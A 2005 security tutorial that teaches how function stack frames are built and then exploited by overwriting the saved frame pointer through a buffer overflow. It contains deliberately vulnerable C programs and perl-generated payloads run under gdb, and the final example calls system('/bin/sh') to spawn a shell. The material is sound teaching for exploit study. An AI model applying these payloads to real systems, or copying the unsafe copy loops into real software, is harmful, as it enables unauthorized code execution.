Gotfault Security Community
(GSC)
---------[ Chapter : 0x300 ]
---------[ Subject : Function Stack Frame Manipulation ]
---------[ Author : barros A.K.A Carlos Barros ]
---------[ Date : 09/15/2005 ]
---------[ Version : 1.1 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x310 - Objective
0x320 - Requisites
0x330 - Introduction
0x340 - Stack layout
0x341 - main()'s stack frame
0x342 - func()'s stack frame
0x343 - Stack frame destruction
0x350 - Manipulating the stack frame
0x360 - Having fun with stack frame manipulation
0x370 - Conclusion
|=-----------------------------------------------------------------------------=|
---------[ 0x310 - Objective ]
Manipulate the stack frame of a function in order to execute arbitrary
code
---------[ 0x320 - Requisites ]
Introduction to Local Stack Overflow (Basic Module);
Local Stack Overflow (Advcanced Module).
---------[ 0x330 - Introduction ]
Stack frame is a region reserverd to store function's local variables,
as well as to store parameter to be passed to other functions. Each function
has you own stack frame and is responsible to create it and save/restore the
caller's stack frame. In this paper we will discuss how the stack frame works
and how buffer overflows can be used to manipulate local variables.
---------[ 0x340 - Stack layout ]
Lets consider this source code:
barros@gotfault:sources$ cat source1.c
void func(char *buf)
{
printf("%s\n",buf);
}
int main()
{
char buf[256];
func(buf);
}
barros@gotfault:sources$ gcc source1.c -o source
Disassembling this program, we get:
Dump of assembler code for function main:
0x0804822f <main+0>: push %ebp
0x08048230 <main+1>: mov %esp,%ebp
0x08048232 <main+3>: sub $0x118,%esp
0x08048238 <main+9>: and $0xfffffff0,%esp
0x0804823b <main+12>: mov $0x0,%eax
0x08048240 <main+17>: sub %eax,%esp
0x08048242 <main+19>: lea 0xfffffef8(%ebp),%eax
0x08048248 <main+25>: mov %eax,(%esp)
0x0804824b <main+28>: call 0x8048214 <func>
0x08048250 <main+33>: leave
0x08048251 <main+34>: ret
End of assembler dump.
Dump of assembler code for function func:
0x08048214 <func+0>: push %ebp
0x08048215 <func+1>: mov %esp,%ebp
0x08048217 <func+3>: sub $0x8,%esp
0x0804821a <func+6>: mov 0x8(%ebp),%eax
0x0804821d <func+9>: mov %eax,0x4(%esp)
0x08048221 <func+13>: movl $0x8095e68,(%esp)
0x08048228 <func+20>: call 0x8049640 <printf>
0x0804822d <func+25>: leave
0x0804822e <func+26>: ret
End of assembler dump.
As you can see, the first 3 instructions and the last 2 instructions
of both function are the same (almost the same). These 5 instructions are
responsible for the creation/destruction of the stack frame of the function.
Lets study it step by step (creation first):
* push %ebp:
This instruction saves the %ebp register (base pointer) of the caller
function. The %ebp register is the reference to the function stack frame;
* mov %esp,%ebp:
This instruction initializes the new stack frame, pointing the %ebp
register to the start of the new frame.
* sub $0x118,%esp:
This instruction reserves the space for the local variables.
0x118 = 280 bytes. This is the space reserved to the local variables.
Our "buf" var is only 256, and our stack space is 280 bytes, why? The reason
is "alignment". Newer versions of gcc keeps the alignment in 16 bytes, so
our 256 bytes var, actually, has 272 bytes. And what about the other 8 bytes?
It is another "feature" of newer gcc's. Each function has 8 dummy bytes free
in the local vars region.
Now I'll show these steps in action. First, I'll show the stack layout
of the main function and after I'll will describe, step by step, what is going
one with the register and the stack itself.
---------[ 0x341 - main()'s stack frame ]
+ | +------------------+
| | main()'s ret |
| +------------------+
| | _init saved %ebp | <- %ebp
| +------------------+
| | |
| | dummy[8] |
| | |
| +------------------+
| | |
| | buf[272] |
| | | <- %esp
| +------------------+
- v
The above diagarm represent the main() function stack frame, after the
initialization instructions (described at the previous section). The frame is
delimited by the registers %ebp and %esp. As I said, %ebx is the reference of
all local variables and parameter, passed to the function. For instance, if
you look at <main+19> you have the folowing instruction:
<main+19>: lea 0xfffffef8(%ebp),%eax
This instruction simply gets the address of our "buf" var and stores
in the %eax register. 0xfffffef8(%ebp) is the sabe of %ebp-264. So, our "buf"
var starts at this address. This ilustrates the importance of the %ebp
register in the context of a function, regarding to local vars. %ebp is of
the same importance to access parameters passed to function and it will be
demonstrated in the next section.
---------[ 0x342 - func()'s stack frame ]
+ | +------------------+----------+
| | main()'s ret | |
| +------------------+ |
| | _init saved %ebp | |
| +------------------+ |
| | | |
| | dummy[8] | |
| | | |
| +------------------+ |
| | | |
| | buf[272] | |
| | | +-> main()'s frame
| +------------------+ |
| | &buf | |
| +------------------+ |
| | ret addr | |
| +------------------+----------+
| | main saved %ebp | <- %ebp |
| +------------------+ |
| | | +-> func()'s frame
| | dummy[8] | |
| | | <- %esp |
| +------------------+----------+
- v
This is what the stack looks like when inside func(). Lets take a look
in this creation process. The sequence of instructions executed is as follows:
0x08048242 <main+19>: lea 0xfffffef8(%ebp),%eax
0x08048248 <main+25>: mov %eax,(%esp)
0x0804824b <main+28>: call 0x8048214 <func>
0x08048214 <func+0>: push %ebp
0x08048215 <func+1>: mov %esp,%ebp
0x08048217 <func+3>: sub $0x8,%esp
First, the address of the "buf" var is stored in the stack, then, func()
is called. The call instruction stores the return address in the stack to be
able to return the execution flow. Withing func(), the main()'s %ebp register
is stored in the stack (to be restored later). The last two instructions setup the
new stack frame, pointing %ebp to the same place %esp is pointing to and then
leaving space to the local vars.
---------[ 0x343 - Stack frame destruction ]
Ok, I talked about stack frame construction, but, what heppen when the
func() returns? Well, func MUST restore the main()'s stack frame. To do this,
there's two instructions in the end of the function, that look like this:
0x0804822d <func+25>: leave
0x0804822e <func+26>: ret
* leave:
This instruction can be divided into two new istructions:
* mov %ebp,%esp;
* pop %ebp
The first one restore the stack pointer (%esp). Remember, in the
creation proccess, when there's a instruction sub $0x8,%esp? Well, this
other instructions do exactly the oposite. It is like a add $0x8,%esp.
The second instruction restores the base pointer (%ebp) saved from the
main() function.
* ret:
This instructions does the oposite of the call instruction. It pop the
return address (saved by the call function) into the %eip register. This way,
the flow of execution returns to the next instruction after the call.
Now, take the last diagram, apply this steps and take a look what it
looks like.
+ | +------------------+
| | main()'s ret |
| +------------------+
| | _init saved %ebp | <- %ebp
| +------------------+
| | |
| | dummy[8] |
| | |
| +------------------+
| | |
| | buf[272] |
| | | <- %esp
| +------------------+
- v
Hmm, seems known?? Yes, it is exactly the same layout as the original
main()'s frame.
---------[ 0x350 - Manipulating local variables ]
Now, i'll show how to manipulate the contents of local variables using
a simple BOF. I'll use the following source code as example:
void func(char *str)
{
char buffer[256];
int i;
i = 0;
while(*str) buffer[i++] = *str++;
}
int main(int ac, char **av)
{
char *fstring = "First string";
char *sstring = "Second string";
if(ac >= 2)
func(av[1]);
printf("%s => %s\n",fstring,sstring);
}
barros@gotfault:sources$ gcc vuln1.c -o vuln1 -static
barros@gotfault:sources$ ./vuln1
First string => Second string
As you can see, there's a function (func()) that is vulnerable to a
simple buffer overflow. We will not overwrite the EIP register, since it is
not the intent of this paper. Instead, we will overwrite just the saved EBP
of main(). In this example, we'll build a fake stack frame and overwrite the
main()'s one with our fake frame. In this fake frame, the strings will be
inverted, so, the result of the printf will be: Second string => First string.
At first, lets reconstruct main()'s and func()'s stack frame:
Dump of assembler code for function main:
0x08048259 <main+0>: push %ebp
0x0804825a <main+1>: mov %esp,%ebp
0x0804825c <main+3>: sub $0x18,%esp
0x0804825f <main+6>: and $0xfffffff0,%esp
0x08048262 <main+9>: mov $0x0,%eax
0x08048267 <main+14>: sub %eax,%esp
0x08048269 <main+16>: movl $0x8095ec8,0xfffffffc(%ebp)
0x08048270 <main+23>: movl $0x8095ed5,0xfffffff8(%ebp)
(gdb) x/s 0x8095ec8
0x8095ec8 <_IO_stdin_used+4>: "First string"
(gdb) x/s 0x8095ed5
0x8095ed5 <_IO_stdin_used+17>: "Second string"
+ | +------------------+
| | main()'s ret |
| +------------------+
| | _init saved %ebp | <- %ebp
| +------------------+
| | &"First string" |
| +------------------+
| | &"Second string" |
| +------------------+
| | |
| | dummy[16] |
| | | <- %esp
| +------------------+
- v
Dump of assembler code for function func:
0x08048214 <func+0>: push %ebp
0x08048215 <func+1>: mov %esp,%ebp
0x08048217 <func+3>: sub $0x118,%esp
+ | +------------------+
| | func()'s ret |
| +------------------+
| | main saved %ebp | <- %ebp
| +------------------+
| | |
| | dummy[8] |
| | |
| +------------------+
| | |
| | buffer[256] |
| | |
| +------------------+
| | i |
| +------------------+
| | |
| | dummy[12] |
| | | <- %esp
| +------------------+
- v
Now that we now both frames' layout, it is simple to construct our
buffer. We need to create a fake frame with the same layout of main()'s frame,
as we will overwrite it. Then, we must overwrite the main's saved %ebp, in
func(). Our buffer will look like this:
[&"First string"][&"Second string"][_init saved %ebp][main()'s ret]["A"x248][&(buffer+8)]
| |
+------------------------- Frake frame ---------------------------+
Get the address we need is a very easy task. We already have the two
strings' address. To get the other addresses, we will use GDB.
barros@gotfault:sources$ gdb vuln1 -q
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x804825f
(gdb) disassemble func
Dump of assembler code for function func:
0x08048214 <func+0>: push %ebp
0x08048215 <func+1>: mov %esp,%ebp
0x08048217 <func+3>: sub $0x118,%esp
0x0804821d <func+9>: movl $0x0,0xfffffef4(%ebp)
0x08048227 <func+19>: mov 0x8(%ebp),%eax
0x0804822a <func+22>: cmpb $0x0,(%eax)
0x0804822d <func+25>: jne 0x8048231 <func+29>
0x0804822f <func+27>: jmp 0x8048257 <func+67>
0x08048231 <func+29>: mov 0xfffffef4(%ebp),%eax
0x08048237 <func+35>: lea 0xfffffff8(%ebp),%edx
0x0804823a <func+38>: add %edx,%eax
0x0804823c <func+40>: lea 0xffffff00(%eax),%edx
0x08048242 <func+46>: mov 0x8(%ebp),%eax
0x08048245 <func+49>: incl 0x8(%ebp)
0x08048248 <func+52>: movzbl (%eax),%eax
0x0804824b <func+55>: mov %al,(%edx)
0x0804824d <func+57>: lea 0xfffffef4(%ebp),%eax
0x08048253 <func+63>: incl (%eax)
0x08048255 <func+65>: jmp 0x8048227 <func+19>
0x08048257 <func+67>: leave
0x08048258 <func+68>: ret
End of assembler dump.
(gdb) b *func+67
Breakpoint 2 at 0x8048257
(gdb) r `perl -e 'print"A"x268'`
Starting program: /home/barros/exploits/ebp/sources/vuln1 `perl -e
'print"A"x268'`
Breakpoint 1, 0x0804825f in main ()
(gdb) x/x $ebp
0xbffff3a8: 0xbffff5b8 ==> _init saved %ebp
(gdb) x/x $ebp+4
0xbffff3ac: 0x0804853c ==> main()'s ret
(gdb)
(gdb) c
Continuing.
Breakpoint 2, 0x08048257 in func ()
(gdb) x/20x $esp
0xbffff160: 0x080ae0ac 0x080ae040 0x00000003 0x00000112
0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
First string: 0x8095ec8
Second string: 0x8095ed5
_init saved &ebp: 0xbffff5b8
main()'s ret: 0x0804853c
&buffer: 0xbffff170
Now that we have all the address, it is simple to attack the program.
Lets use our buffer we've defined above, but now using the addresses we got:
[0x8095ec8][0x8095ed5][0xbffff5b8][0x0804853c]["A"x264][0xbffff178]
(gdb) r "`perl -e
'print"\xc8\x5e\x09\x08\xd5\x5e\x09\x08\xb8\xf5\xff\xbf\x3c\x85\x04\x08","A"x248,"\x78\xf1\xff\xbf"'`"
Starting program: /home/barros/exploits/ebp/sources/vuln1 "`perl -e
'print"\xc8\x5e\x09\x08\xd5\x5e\x09\x08\xb8\xf5\xff\xbf\x3c\x85\x04\x08","A"x248,"\x78\xf1\xff\xbf"'`"
Breakpoint 1, 0x0804825f in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x08048257 in func ()
(gdb) c
Continuing.
Second string => First string
Program exited with code 036.
(gdb)
---------[ 0x360 - Having fun with stack frame manipulation ]
The above example was just a demonstration of what can be done with
this technique. Now, we'll use it to do some "evil" things. Lets look at the
following source:
void func(char *str)
{
char buffer[256];
int i;
i = 0;
while(*str) buffer[i++] = *str++;
}
void printString(char *str)
{
printf("%s\n",str);
}
int main(int ac, char **av)
{
char *string = "This is a sample string";
void (*funcptr)(char *) = printString;
if(ac >= 2) func(av[1]);
funcptr(string);
}
barros@gotfault:sources$ gcc vuln2.c -o vuln2
barros@gotfault:sources$ ./vuln2
This is a sample string
This is a simple program that prints a message to the stdout. In
order to print, the code initializes a function pointer and then, call it.
Before everything, the vulnerable function (func()) is called to copy av[1]
into the buffer (just like our last example). Well, our goal here is to
manipulate the main()'s stack frame to point the *funcptr to some useful
function. I'll just draw the main()'s frame layout here, cause the concepts
were explained in the previous section of this article.
Dump of assembler code for function main:
0x080483e4 <main+0>: push %ebp
0x080483e5 <main+1>: mov %esp,%ebp
0x080483e7 <main+3>: sub $0x18,%esp
0x080483ea <main+6>: and $0xfffffff0,%esp
0x080483ed <main+9>: mov $0x0,%eax
0x080483f2 <main+14>: sub %eax,%esp
0x080483f4 <main+16>: movl $0x8048548,0xfffffffc(%ebp)
0x080483fb <main+23>: movl $0x80483c9,0xfffffff8(%ebp)
(gdb) x/s 0x8048548
0x8048548 <_IO_stdin_used+8>: "This is a sample string"
(gdb) x/i 0x80483c9
0x80483c9 <printString>: push %ebp
+ | +------------------+
| | main()'s ret |
| +------------------+
| | _init saved %ebp | <- %ebp
| +------------------+
| | string |
| +------------------+
| | funcptr |
| +------------------+
| | |
| | dummy[16] |
| | | <- %esp
| +------------------+
- v
Here we will use the same techinique used in our previous example:
create a fake stack frame and overwirte main()'s stack frame. To make our
exploit useful, we have to point funcptr to some useful function. For the sake
of this example, we will use system(). *string is passed to funcptr, this way
we can fake string into pointing to "/bin/sh", this way, when funcptr(string) is
called, we will call system("/bin/sh"). Lets prepare our buffer:
[&(system())][&"/bin/sh"][_init saved %ebp][main()'s ret]["A"x248][&(buffer+8)]
| |
+------------------- Frake frame -----------------------+
Again, lets get these addresses. At first, we need to place the string
"/bin/sh" somewhere in the memory. The best choice is in the environment.
barros@gotfault:sources$ export BINSH="/bin/sh"
Now, with GDB, we can get all this addresses:
barros@gotfault:sources$ gdb vuln2 -q
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x80483ea
(gdb) b *func+67
Breakpoint 2 at 0x80483c7
(gdb) r `perl -e 'print"A"x268'`
Starting program: /home/barros/exploits/ebp/sources/vuln2 `perl -e
'print"A"x268'`
Breakpoint 1, 0x080483ea in main ()
(gdb) x/x system
0xb7eeda50 <system>: 0x83e58955
(gdb) x/x $ebp
0xbffff448: 0xbffff4a8 ==> _init saved %ebp
(gdb) x/x $ebp+4
0xbffff44c: 0xb7ec4974 ==> main()'s ret
(gdb) x/x $ebp+16
0xbffff458: 0xbffff4e0
(gdb) x/20x 0xbffff4e0
0xbffff4e0: 0xbffff707 0xbffff713 0xbffff723 0xbffff747
0xbffff4f0: 0xbffff75a 0xbffff766 0xbffff99b 0xbffffe67
0xbffff500: 0xbffffe72 0xbffffe88 0xbffffef5 0xbfffff0e
0xbffff510: 0xbfffff1a 0xbfffff40 0xbfffff54 0xbfffff62
0xbffff520: 0xbfffff6b 0xbfffff73 0xbfffff85 0xbfffff94
(gdb) x/s 0xbfffff54
0xbfffff54: "BINSH=/bin/sh"
(gdb) x/s 0xbfffff54+6
0xbfffff5a: "/bin/sh" ==> "/bin/sh"
(gdb) c
Continuing.
Breakpoint 2, 0x080483c7 in func ()
(gdb) x/20x $esp
0xbffff310: 0xb7eae020 0xb8000ca0 0xb7fe9d2c 0x0000010c
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff350: 0x41414141 0x41414141 0x41414141 0x41414141
system(): 0xb7eeda50
"/bin/sh": 0xbfffff5a
_init saved %ebp: 0xbffff4a8
main()'s ret: 0xb7ec4974
&buffer: 0xbffff320
With this addresses, our buffer will be like this:
[0xb7eeda50][0xbfffff5a][0xbffff4a8][0xb7ec4974]["A"x248][0xbffff328]
Lets check it out:
barros@gotfault:sources$ gdb vuln2 -q
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) r "`perl -e
'print"\x50\xda\xee\xb7\x5a\xff\xff\xbf\xa8\xf4\xff\xbf\x74\x49\xec\xb7","A"x248,"\x28\xf3\xff\xbf"'`"
Starting program: /home/barros/exploits/ebp/sources/vuln2 "`perl -e
'print"\x50\xda\xee\xb7\x5a\xff\xff\xbf\xa8\xf4\xff\xbf\x74\x49\xec\xb7","A"x248,"\x28\xf3\xff\xbf"'`"
sh-2.05b$ exit
Program exited normally.
(gdb)
---------[ 0x370 - Conclusion ]
Overwriting the EIP is not the only attack vector to use against
buffer overflows. Overwriting EBP, sometimes, can be more powerfull than the
normal attack. The last example is a demonstration of how powerfull it can be
against non-exec stacks, and it is just the basic. You can do a lot a things
with this technique, just put your mind to work. ;)
# milw0rm.com [2006-03-09]